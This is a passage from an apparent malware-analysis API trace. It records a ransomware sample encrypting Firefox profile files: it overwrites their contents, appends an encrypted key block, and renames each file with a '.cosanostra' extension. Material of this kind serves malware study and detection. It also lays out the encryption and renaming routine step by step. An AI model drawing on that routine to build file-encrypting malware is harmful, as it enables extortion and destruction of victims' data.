lpNumberOfBytesWritten=0x26ff194, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff194*=0xe8, lpOverlapped=0x0) returned 1 [0103.701] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.701] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff194, lpOverlapped=0x0 | out: lpBuffer=0x26ff1d4*, lpNumberOfBytesWritten=0x26ff194*=0x4, lpOverlapped=0x0) returned 1 [0103.701] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff194, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff194*=0x30, lpOverlapped=0x0) returned 1 [0103.701] CloseHandle (hObject=0x15c) returned 1 [0103.701] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore.cosanostra") returned 139 [0103.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore.cosanostra")) returned 1 [0103.702] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1d0 | out: pbBuffer=0x26ff1d0) returned 1 [0103.702] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1c8*=0x30) returned 1 [0103.702] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.703] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset") returned 125 [0103.703] StrStrW (lpFirst="test-phish-simple.pset", lpSrch=".txt") returned 0x0 [0103.704] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.704] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff18c*=0x10, lpOverlapped=0x0) returned 1 [0103.704] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.704] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x26ff1cc*, lpNumberOfBytesWritten=0x26ff18c*=0x4, lpOverlapped=0x0) returned 1 [0103.704] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff18c*=0x30, lpOverlapped=0x0) returned 1 [0103.704] CloseHandle (hObject=0x15c) returned 1 [0103.704] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset.cosanostra") returned 136 [0103.704] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.pset.cosanostra")) returned 1 [0103.705] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1d0 | out: pbBuffer=0x26ff1d0) returned 1 [0103.705] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1c8*=0x30) returned 1 [0103.705] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.706] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache") returned 126 [0103.706] StrStrW (lpFirst="test-phish-simple.cache", lpSrch=".txt") returned 0x0 [0103.707] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffffd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.707] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff18c*=0x2c, lpOverlapped=0x0) returned 1 [0103.707] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.707] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x26ff1cc*, lpNumberOfBytesWritten=0x26ff18c*=0x4, lpOverlapped=0x0) returned 1 [0103.707] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff18c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff18c*=0x30, lpOverlapped=0x0) returned 1 [0103.707] CloseHandle (hObject=0x15c) returned 1 [0103.707] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache.cosanostra") returned 137 [0103.707] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.cache.cosanostra")) returned 1 [0103.708] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1c8 | out: pbBuffer=0x26ff1c8) returned 1 [0103.708] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1c0*=0x30) returned 1 [0103.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.709] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore") returned 130 [0103.709] StrStrW (lpFirst="test-malware-simple.sbstore", lpSrch=".txt") returned 0x0 [0103.709] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.709] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff184*=0xe8, lpOverlapped=0x0) returned 1 [0103.709] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.709] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x26ff1c4*, lpNumberOfBytesWritten=0x26ff184*=0x4, lpOverlapped=0x0) returned 1 [0103.710] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff184*=0x30, lpOverlapped=0x0) returned 1 [0103.710] CloseHandle (hObject=0x15c) returned 1 [0103.710] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore.cosanostra") returned 141 [0103.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.sbstore.cosanostra")) returned 1 [0103.711] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1c8 | out: pbBuffer=0x26ff1c8) returned 1 [0103.711] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1c0*=0x30) returned 1 [0103.711] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.711] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset") returned 127 [0103.711] StrStrW (lpFirst="test-malware-simple.pset", lpSrch=".txt") returned 0x0 [0103.712] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffff0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.712] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff184*=0x10, lpOverlapped=0x0) returned 1 [0103.712] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.712] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x26ff1c4*, lpNumberOfBytesWritten=0x26ff184*=0x4, lpOverlapped=0x0) returned 1 [0103.712] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff184, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff184*=0x30, lpOverlapped=0x0) returned 1 [0103.712] CloseHandle (hObject=0x15c) returned 1 [0103.712] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset.cosanostra") returned 138 [0103.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.pset.cosanostra")) returned 1 [0103.713] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1c0 | out: pbBuffer=0x26ff1c0) returned 1 [0103.713] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1b8*=0x30) returned 1 [0103.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.714] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache") returned 128 [0103.714] StrStrW (lpFirst="test-malware-simple.cache", lpSrch=".txt") returned 0x0 [0103.715] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffffd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.715] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff17c*=0x2c, lpOverlapped=0x0) returned 1 [0103.715] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.715] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x26ff1bc*, lpNumberOfBytesWritten=0x26ff17c*=0x4, lpOverlapped=0x0) returned 1 [0103.715] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff17c*=0x30, lpOverlapped=0x0) returned 1 [0103.715] CloseHandle (hObject=0x15c) returned 1 [0103.716] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache.cosanostra") returned 139 [0103.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache.cosanostra")) returned 1 [0103.716] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1c0 | out: pbBuffer=0x26ff1c0) returned 1 [0103.716] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1b8*=0x30) returned 1 [0103.717] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.727] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_") returned 107 [0103.727] StrStrW (lpFirst="_CACHE_002_", lpSrch=".txt") returned 0x0 [0103.800] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.800] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff17c*=0x2800, lpOverlapped=0x0) returned 1 [0103.800] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.800] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x26ff1bc*, lpNumberOfBytesWritten=0x26ff17c*=0x4, lpOverlapped=0x0) returned 1 [0103.967] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff17c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff17c*=0x30, lpOverlapped=0x0) returned 1 [0103.967] CloseHandle (hObject=0x15c) returned 1 [0103.967] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_.cosanostra") returned 118 [0103.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_.cosanostra")) returned 1 [0103.969] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff1b8 | out: pbBuffer=0x26ff1b8) returned 1 [0103.969] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff1b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff1b0*=0x30) returned 1 [0103.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.970] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01") returned 109 [0103.970] StrStrW (lpFirst="16A09d01", lpSrch=".txt") returned 0x0 [0103.973] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.973] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff174, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff174*=0x2800, lpOverlapped=0x0) returned 1 [0103.973] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.973] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff1b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff174, lpOverlapped=0x0 | out: lpBuffer=0x26ff1b4*, lpNumberOfBytesWritten=0x26ff174*=0x4, lpOverlapped=0x0) returned 1 [0103.974] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff174, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff174*=0x30, lpOverlapped=0x0) returned 1 [0103.974] CloseHandle (hObject=0x15c) returned 1 [0103.974] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01.cosanostra") returned 120 [0103.974] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01.cosanostra")) returned 1 [0103.988] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff198 | out: pbBuffer=0x26ff198) returned 1 [0103.988] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff190*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff190*=0x30) returned 1 [0103.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.989] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01") returned 109 [0103.989] StrStrW (lpFirst="1D8FDd01", lpSrch=".txt") returned 0x0 [0103.992] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 